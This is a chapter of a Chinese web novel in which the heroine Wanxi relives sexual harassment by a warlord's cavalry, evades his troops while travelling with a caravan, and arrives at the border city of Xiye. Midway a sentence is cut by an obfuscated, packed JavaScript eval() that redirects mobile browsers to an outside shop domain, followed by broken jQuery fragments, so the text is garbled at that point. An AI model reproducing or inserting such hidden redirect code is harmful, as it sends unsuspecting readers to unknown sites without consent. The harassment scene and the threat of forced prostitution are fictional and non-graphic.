燕云骑是北川侯麾下的一支直属骑兵。
菀夕的心跳了几下,脑海中闪过一些不愿回想的画面。
她曾经亲眼目睹燕云骑操练的场景,他们都穿着统一的玄色战甲,黑压压的一片,如同黑云压城。那股威压,完全让人相信,就是这支军队曾经横扫六合,助胤太祖姬琅建功立业。
菀夕低下头,装作什么也没看见。
边境并无战事,北稷武却暗中练兵,他这番不臣之心,赤裸裸地展现在她面前,她有种不祥的预感。
一股强硬的力道从身后袭来,她被推进人群里。
士兵们围上来,哄笑道:“世子,这是赏赐给我们的吗?”那些人都是五大三粗的汉子,素日里在军营里憋坏了,看见女人就移不开眼睛,嘴里开始不干不净。
“这小娘子细皮嫩肉的,恐怕经不起兄弟们摧残,一个可不够啊……”
菀夕瑟缩在地,双手护在胸前,无助地看向四周。许多双炽热的眼睛里是毫不掩饰的欲望,他们身上的汗臭味几乎将她淹没了。你一言我一语的调戏,说出不堪入耳的冒犯之语。甚至有人伸手揩油,惹得她尖叫一声。
她的抗拒姿态并未引起他们的退缩,反而激起他们更狂热的兴趣。
菀夕咬紧牙关,嘴唇泛白,眼睛睁得很大,竭力控制着恐惧。她不想在这些人面前暴露出自己的害怕,以助长他们的气焰。凭什么,他们凭什么如此践踏一个人的自尊,无视一个人的意愿。他们的眼神,不像人,而像是饿狼对着猎物发射出凶光。
如果北稷武把她留下,毫无疑问她会生不如死,被他们撕成碎片,每一片自尊都被踩进泥沼里。
可战栗的身体,眼中打转的眼泪,还是暴露出她的恐惧。
碍于北稷武还在场,那些人没有直接冲上来,但被他们凝视的那段时间,无比漫长。
不知过了多久,人群外传来一个淡淡的声音。“都散了吧,我还没玩够呢。”
此言一出,那些人才恋恋不舍地散去,还有人十分下流的说了一句:“世子,玩够了丢给我,我就喜欢贱货。”
菀夕呆在原地,眼神茫然地站起来,她仿佛经历了一场精神上的凌迟。
始作俑者却丝毫没有意识到自己有多恶劣,不耐烦地看向她:“还不过来?你真想赖在这儿吗?”
菀夕隐忍怒意,压下心底所有的怨怼,跟上那个以折磨自己为乐的恶魔。
他把她丢到马上,从身后环住了她,低声威胁道:“今日之事,你若是敢向任何人吐露半个字,我就把你送到军营充当营妓。”
往事历历在目,菀夕每次想到都会感到十分后怕。
北稷武这种人,就是一个疯子。
“元姐姐,你怎么了?”林秀秀察觉菀夕脸色不对,着急地摇了摇她的身子。“是不是哪里不舒服?”
“没什么。”菀夕摇了摇头,心里却仍感到不安。燕云骑为什么会出现在这里?北稷武又有什么动作?
她原本以为,离开大胤就能天高海阔,却没想到会再次狭路相逢。
不行,她要避开他们,绝对不能和北稷武撞上。
“秀秀,你帮我去打探一下,那些玄甲兵的首领是什么样子。”说完犹不放心,又拉住秀秀交待她小心行事,不要被人察觉。
林秀秀还是第一次见元姐姐如此紧张,心中不由好奇起来,同时她也十分开心能够为她做点什么。所以十分自信地拍了拍胸脯:“放心吧元姐姐,我机灵着呢。”
菀夕在屋子里焦躁的走来走去,原本的好心情都被破坏殆尽。
她现在恨不得马上溜之大吉,可她还担负着萧怀的重要托付。只能在心里默默祈求,不要自己吓自己,说不定燕云骑只是来执行什么任务。
北稷武现在可是大胤摄政王,他应该忙得连想起她都没时间,不会有空来这儿吧。
林秀秀终于回来了,还带了餐盒。笑道:“元姐姐,今晚有糯米饭。”
菀夕哪有吃饭的胃口,追问她打探出了什么消息。
“那些人的首领是一个年轻的郎君。”
菀夕心里一沉,但仍抱有一丝希望,“他长什么样子?”
林秀秀“扑哧”一声笑了,道:“郡王要是知道你这么上心旁的男子,恐怕要不开心了。”
菀夕叹了口气,哭笑不得:“秀秀,你误会了。我只是担心遇到之前的仇家。”见林秀秀满脸好奇,她轻声道:“如果真是那个人的话,会影响我们这一趟的任务。”
林秀秀一听利害重大,收起笑脸,问道:“元姐姐,你仇家的长相是什么样的?”
菀夕脑海中浮现出那张近乎完美的脸:“他长得跟妖孽似的,见过的人都不会轻易忘记。”
说罢又咬牙切齿道,“但是千万不要被他的外表所迷惑,此人一肚子坏水,毫无礼义廉耻。”
林秀秀歪着头回想,语气十分肯定:“那这个人不是。”随即压低了声音偷笑道,“这个人还没有郡王好看呢。”
危机解除,菀夕松了口气,但心里并没有完全放心。就算来的人不是北稷武,也是他的亲信。她还是小心一些,尽早离开为妙。
“秀秀,通知大家,今晚连夜赶路。”
林秀秀愣了一下,问道:“公子楚那边也要通知吗?”
菀夕沉思片刻,轻声道:“咱们连夜赶路必然辛苦,就不连累他们了。留个讯息即可。”
夜间赶路,人困马乏,商队里的人颇有微词。连带着行动也迟缓了许多,磨磨蹭蹭地走了没多远便有人要原地扎营。
菀夕也知夜间出行多有不便,大家是因自己而受累,遂出面安抚,并且许以重利。
这时,后面传来了马儿嘶鸣的声音。
林秀秀猜测道:“是公子楚他们赶上来了吗?”
菀夕心里一沉,不,这个声音,显然是骑兵的声音。
夜风吹过,马车上悬挂的灯笼身形微晃。
昏暗的夜色下,身后的声音越来越近,顷刻间便已至身前。
菀夕将身子裹在斗篷中,有意避让。
燕云骑一行人策马而过,军纪严明,无一人侧目。
菀夕有意看了一眼马背上为首的那人,心里的石头安然落地。万幸,不是北稷武。
菀夕告诉大家原地扎营休息,待到天色稍亮些再赶路,先前允诺的赏银照常给。众人闻言大喜。
菀夕回到马车里,想起刚才那个身影,总觉得十分眼熟,好似
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815522|211043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在哪里见过。
她苦思冥想,眼前一亮,终于想起那人是谁——盛安中军,秦牧。
当初是他将她藏进木箱,启动机关,救了她一命。本以为他已经不在人世,没想到竟在这样的情况下擦肩而过。
答案清晰了,她却陷入更深的疑虑——秦牧怎会同燕云骑扯上关系?
北稷武对心存异心之人向来手段狠厉、杀伐果断。秦牧曾是拥护姬氏的保皇派,如今却能安然无恙,还能亲率北稷武的直系亲兵,这简直匪夷所思。
林秀秀掀开车帘,笑嘻嘻地端来一碗热汤。她是个机灵又体贴的姑娘,眼见菀夕心情不佳,安慰道:“我娘说,有什么不开心的事,吃点东西就好了。如果一碗不够,那就再睡一觉。”
菀夕微微一笑:“好,那喝完汤我们就休息。”
罢了,多思无益,兵来将挡水来土掩,她现在已经不是当初单纯可欺的婢女。一个纸片人反派,有什么好怕的。
之后一路顺利,燕云骑的出现仿佛只是一个无关紧要的小插曲。
菀夕便也不再杯弓蛇影,她下车检查所带货物,还有之前林管事招的十七个男子。萧怀还真是敢想敢做,为了促成合作简直不遗余力。
她从未想过,这十七个人竟然真的被当作面首带去西夜。
难怪她会被换下来……
离西夜越来越近,菀夕心里也越来越激动。要知道,她之前只在小说里见过这样的国度。
如今有机会身临其境,自然是十分期待。
经过十多天的风尘仆仆,他们终于赶至西夜边境,来到西夜的边关——璧门关。
出示拜帖之后,守卫示意让他们等一下。结果这一等,就是一个时辰。
公子楚的车队也赶了上来,见他们吃了闭门羹,便派贴身侍从另拿了拜帖送去城门。
林秀秀本以为谁送拜帖都一样,谁知城门竟然开了,公子楚的贴身侍从抬着下巴从她面前走过,那神气的样子,看了就气人。
公子楚的车队先行入城,商队的车马随即跟上。
菀夕掀开车帘,眼神中满是期待。
西夜,这个神秘又排外的国家,向他们敞开了怀抱。
在萧怀提供的情报里,璧门关的守将,同时也是这座山城的城主,名为姜戎。这是一位女中豪杰,姽婳将军。
菀夕在现代读过花木兰和秦良玉的事迹,她对女将军有种天然的敬慕与好感,十分好奇西夜国这位文物双全的姜城主,又是何等风姿。
“不好意思,城主正在接待客人,并非有意怠慢。”接引的文官是一位女官,她穿着素色官服,谈吐十分得体,态度也温柔谦和,让人挑不出半点毛病。
客人?能比肩东蔺皇子,比永安郡王亲使更重要的客人会是何方势力?
菀夕突然有种预感,此行注定一波三折,不会太顺利。
林秀秀捏起一块糕点,不满地小声嘟囔:“原来进来还要继续等呀,这城主架子可真大。”
她拉着菀夕要玩“跳井棋”,菀夕却拒绝了,说这是正式场合,要严肃一点。
林秀秀百无聊赖,一点儿也坐不住。
菀夕又不肯陪她玩,她趁人不备,悄悄地溜了出去。